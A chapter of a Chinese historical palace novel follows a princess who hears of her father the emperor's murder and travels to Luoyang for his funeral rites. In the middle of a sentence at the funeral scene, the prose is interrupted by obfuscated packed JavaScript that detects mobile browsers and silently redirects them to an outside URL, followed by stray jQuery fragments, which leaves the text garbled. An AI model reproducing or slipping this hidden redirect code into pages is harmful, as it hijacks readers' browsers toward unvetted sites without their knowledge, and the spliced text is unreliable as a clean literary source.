午后,李凌薇换上一身绯红色锦缎翻领狩猎纹骑马套装,跟着朱友贞来到马厩挑选马匹。
朱友贞一袭银白色骑装,风姿翩翩,令李凌薇不禁忆起初见他时的情景。
厩房里养着数匹颜色各异的名骥,李凌薇仔细观察了半天,特意挑选了一匹毛色纯净如雪的马,其额头处一条玳瑁抹额醒目非常,亮得如雪狮子一般,四肢坚实有力,肌肉线条流畅饱满,实乃一匹难得的骏马。她摸着马儿的鬓毛说道:“这匹马性子真温顺。”
“不愧是大雍公主,识马的眼光绝佳。”朱友贞赞叹道。
“骑马最重要的是建立你和马儿之间的信任,你和它的关系越好,它就越会听话。你可以和它说说话。”
“说话?”朱友贞瞪大了眼睛,吃惊地问:“它能听得懂我说话吗?”
李凌薇点了点头,“当然,你试一试。”
朱友贞缓步走到马儿身旁,轻轻抚拍着它,而后凑近马旁,轻声细语了好一阵。
“你和它说了些什么?”李凌薇好奇地问。
“这是我和它之间的秘密。”朱友贞神秘一笑。
“三郎,飞星的饭好了。”皇甫麟端着一盆马粮和铁钉走来。
李凌薇不免一阵尴尬,“这是你的马?”
朱友贞笑了笑,马儿将头转过来,偎靠在朱友贞的肩膀上摩挲,久久不肯离去。
李凌薇俏皮地朝阿诺吐了吐舌头。
“飞星……这个名字真好听。”李凌薇默念着,在心里笑道:不像李存勖为马儿起的名字:小红、小白。
只见阿虔跌跌撞撞地跑来,泪水铺满了整张脸,“公主……”
“怎么了?”李凌薇惊讶道。
阿虔忽地跪了下去,泣声道:“圣人龙驭宾天!”
“什么……”李凌薇瞬间瞪圆了双眼,整个人震惊得呆立当场,双手不受控制地剧烈抖动起来。
“圣人龙驭宾天!”
乍听噩耗,李凌薇只觉如遭雷击,脑袋嗡嗡作响,整个人仿佛被定住了一般,好半晌都发不出声来,连身旁的人说什么都浑然未觉。
朱友贞心中同样困惑,于是问道:“先别哭,说清楚到底是怎么回事!”
阿虔哭着解释道:“宫里来信说,昨夜圣人醉酒后被河东夫人和李昭仪给谋害了!”
“不可能!这绝不可能!”李凌薇终于听清了阿虔的话,声嘶力竭地否定道,“两位夫人对阿耶忠心耿耿,绝不会做这般谋大逆之事!你是从哪里听来的!这消息绝不可靠!”同时她却发现阿虔已卸了妆饰。
此刻,灵芝搀扶着面色如霜、一身素缟的张惠,脚步匆匆地赶了过来。
张惠的眼中噙着泪水,“公主,你要节哀。”
看来消息是真的!李凌薇一阵剧痛攻心,抬腿便欲走,一脚踏空,幸亏朱友贞将她扶住,但她的眼泪却再也忍不住,热泪潸然滚落。
须臾,她猛地想起,“那阿娘和阿祚呢?她们如今怎么样?”
张惠握住李凌薇的手,“你放心,皇后和辉王都平安,圣人临终前已下诏,立辉王为皇太子,继承大统。”
泪水淹没了李凌薇的嗓子,她狠狠地咬住牙齿竭力让自己坚持住,哽咽着勉强发出几个微弱的音节,“我要去洛阳!”
朱友贞焦急地看着她,“我陪你去。”
张惠松开李凌薇的手,“母亲身子不便,不陪你们一起去洛阳。阿贞,路上照顾好公主。”
——————
李凌薇与朱友贞、李芫玉、朱友珪四人星夜赶路,为了照顾有孕的李芫玉,行程不免放慢了些。
李凌薇凝视着卧躺在马车中的李芫玉,只见她面色憔悴不堪,额上冷汗涔涔而下,已怀有四个月身孕的她,肚子比寻常孕妇大了许多,大夫说这胎是双生胎。
李芫玉心底翻涌着万千疑惑,朝野皆传是自己阿娘杀了大行皇帝,可旁人只敢隐晦提及,从不肯细说原委。她满心困惑焦灼,偏偏碍于身份与局势,半点也不便去向李凌薇探问。
李凌薇同样无法相信是二位夫人杀害了阿耶,一团疑云萦绕横亘她胸中,她始终笃定此事与朱凛脱不了干系!
四人途经天津桥,由徽安门入洛阳城。所过之处,但见酒肆、绸缎行、胭脂铺家家关门,户户封店,鲜有人迹。不时有身着“汴”字官服之兵,手持佩刀,往来巡逻,竟还抢夺粮食,一时间李凌薇的心慌乱不已。
顺着御街,抵达丽景门外。朱友珪和朱友贞先下马,李凌薇下车后,阿檀搀扶着李芫玉也走下马车,便见阿能迈着沉重的步伐朝四人走来。
“参见平原公主、益昌公主,两位驸马。”阿能俯身行礼,脸上带着抹不去的悲伤,“圣人特命我在此等候二位公主,今日是大行皇帝盖棺之日。”
李凌薇听了,泪水便冒了出来,在眼圈中打转转,她又生生憋了回去。
阿能见状忙劝李凌薇节哀。四人换上素缟,由阿能引领着来到延和门外。
李凌薇心里空落落的,一路走来脚步像踩了棉花般轻飘无力。
整个皇宫内外已是布置得如仙山琼阁般白茫茫一片,宿卫加了很多,三步一哨五步一岗,都是持戈执戟悬弓带刀的侍卫。
六十四盏白纱宫灯沿着甬道,风过处,灯影摇曳,连周遭的空气都浸着几分寒凉。九楹大殿朱红门墙柱窗,此刻尽数被素白麻纸糊得严严实实,丹墀上下,灵幡林立,悲风袅袅,大殿上素幔白龛正中金漆楠木梓宫前,供着大行皇帝的灵位,上写:
圣穆景文孝皇帝,李晔之位
此刻殿中东边以李祚为首,挨次跪着李裕、李祤、李禊、李禋、李祎、李祕、李祺、李禛、李祥、李祯、李祁、李福、李禧、李祜,最小的皇子李禔、李祐刚满三岁;西边是太后何氏为首,下头是晋国夫人等嫔妃公主伏身跪着,里里外外,白汪汪一大片,鸦雀无声。
李凌薇恍恍惚惚走进大殿,因走得太急,一绊跌入殿内,就此扑倒。她望着梓宫,泪水夺眶而出,放声大哭道,“阿耶,女儿来晚了。”
事出突然,李凌薇此举把御前众人搞得
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17517592|203025||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
手足无措。在此之前,朱凛暗中下令不许任何人为大行皇帝擗踊。此刻,李祚、李裕等人不忍劝阻,也不想劝阻,只在心里陪着李凌薇垂泪。
“阿耶,女儿回来了……你起来看一看女儿啊。”李凌薇悲痛欲绝,泣不成声:“阿耶,您为何不等女儿归来,为何不让女儿见您最后一面?女儿好想您啊,阿耶……阿耶……您看看女儿啊……女儿回来了……您的小福回来了……您再瞧女儿一眼吧……女儿好想您……”想到出嫁前竟是最后一面,从此天人永隔,一片父女之情,再无表达的机会,她的泪水怎么也止不住。
“举哀!”太常卿王溥连忙喊道,于是满殿响起啜泣唏嘘之声。
其余三人见状,也跟着跪了下去。
李芫玉也痴痴地望着梓宫,回思往日与阿耶的父女之情,真如梦中,她后悔临别时还在抱怨皇帝,殊不知那一眼即永别,想到此处,不觉潸然泪下。
“止。”王溥道。
哀止之后,李祚起身疾步至李凌薇面前,“阿姐,你回来了。节哀吧。”身披斩衰素缟守孝的李祚头顶一抹雪白色抹额,腰间绑一条玄色麻带,一双焦灼且微肿的双眼打量着她,脸上的泪水清晰可见。
今日一早,他已于大行皇帝柩前即位,从嗣皇帝成了皇帝。
“臣参见陛下,吾皇万岁万万岁。”李凌薇等四人跪下参拜,行三跪九叩大礼。
李凌薇见到李祚平安无事,心也稍稍放松了些,可看着李祚身形消瘦、一脸胡茬,又心疼不已。
李祚昂首而视跪在地上的朱友贞和朱友珪兄弟,一语不发,好似没有打算让他们起身的意图,面上毫无表情,心中却是满满的恨意。
过了半晌,李祚双手扶起李凌薇,缓缓道:“都起来吧。”
“谢圣人。”四人谢恩而起。
李凌薇看着如今的李祚,已经比她高出了半个脑袋。
李祚看着身形臃肿的李芫玉,体贴道:“玉姐姐有了身孕,不必多礼。”
“多谢圣人关心,谢圣人。”李芫玉惴惴不安地答道,再次行了大礼,“圣人请节哀。”
何太后起身,由阿秋搀扶着满面戚容地走到李凌薇等人面前,“你们总算回来了。大行皇帝在天上知道你们的孝心,也会安心。你们都……节哀吧。”
“臣参见太后,太后千岁。”四人又再次跪下朝何太后行二跪六拜之礼。
何太后示意阿秋扶起李芫玉,“你们这一路赶来,着实辛苦。”
“太后娘娘。”李凌薇满眼泪水地看着何太后。
何太后拍了拍她的手,“节哀吧。”
于是执仪的大臣,与太常卿官员,依照丧礼规定,依次办事,待梓宫的盖子即将合上,何太后看见已经移箦的李华双眼未曾紧闭,按俗语说,这是死者有未了的心事,或是死得不甘,她抚棺一恸,竟昏厥了过去。
“阿娘!”李凌薇惊得瞪大双眼,一边大声呼唤,一边连声命人:“来人!快传御医!”
众人一阵慌乱,送何太后去偏殿诊治。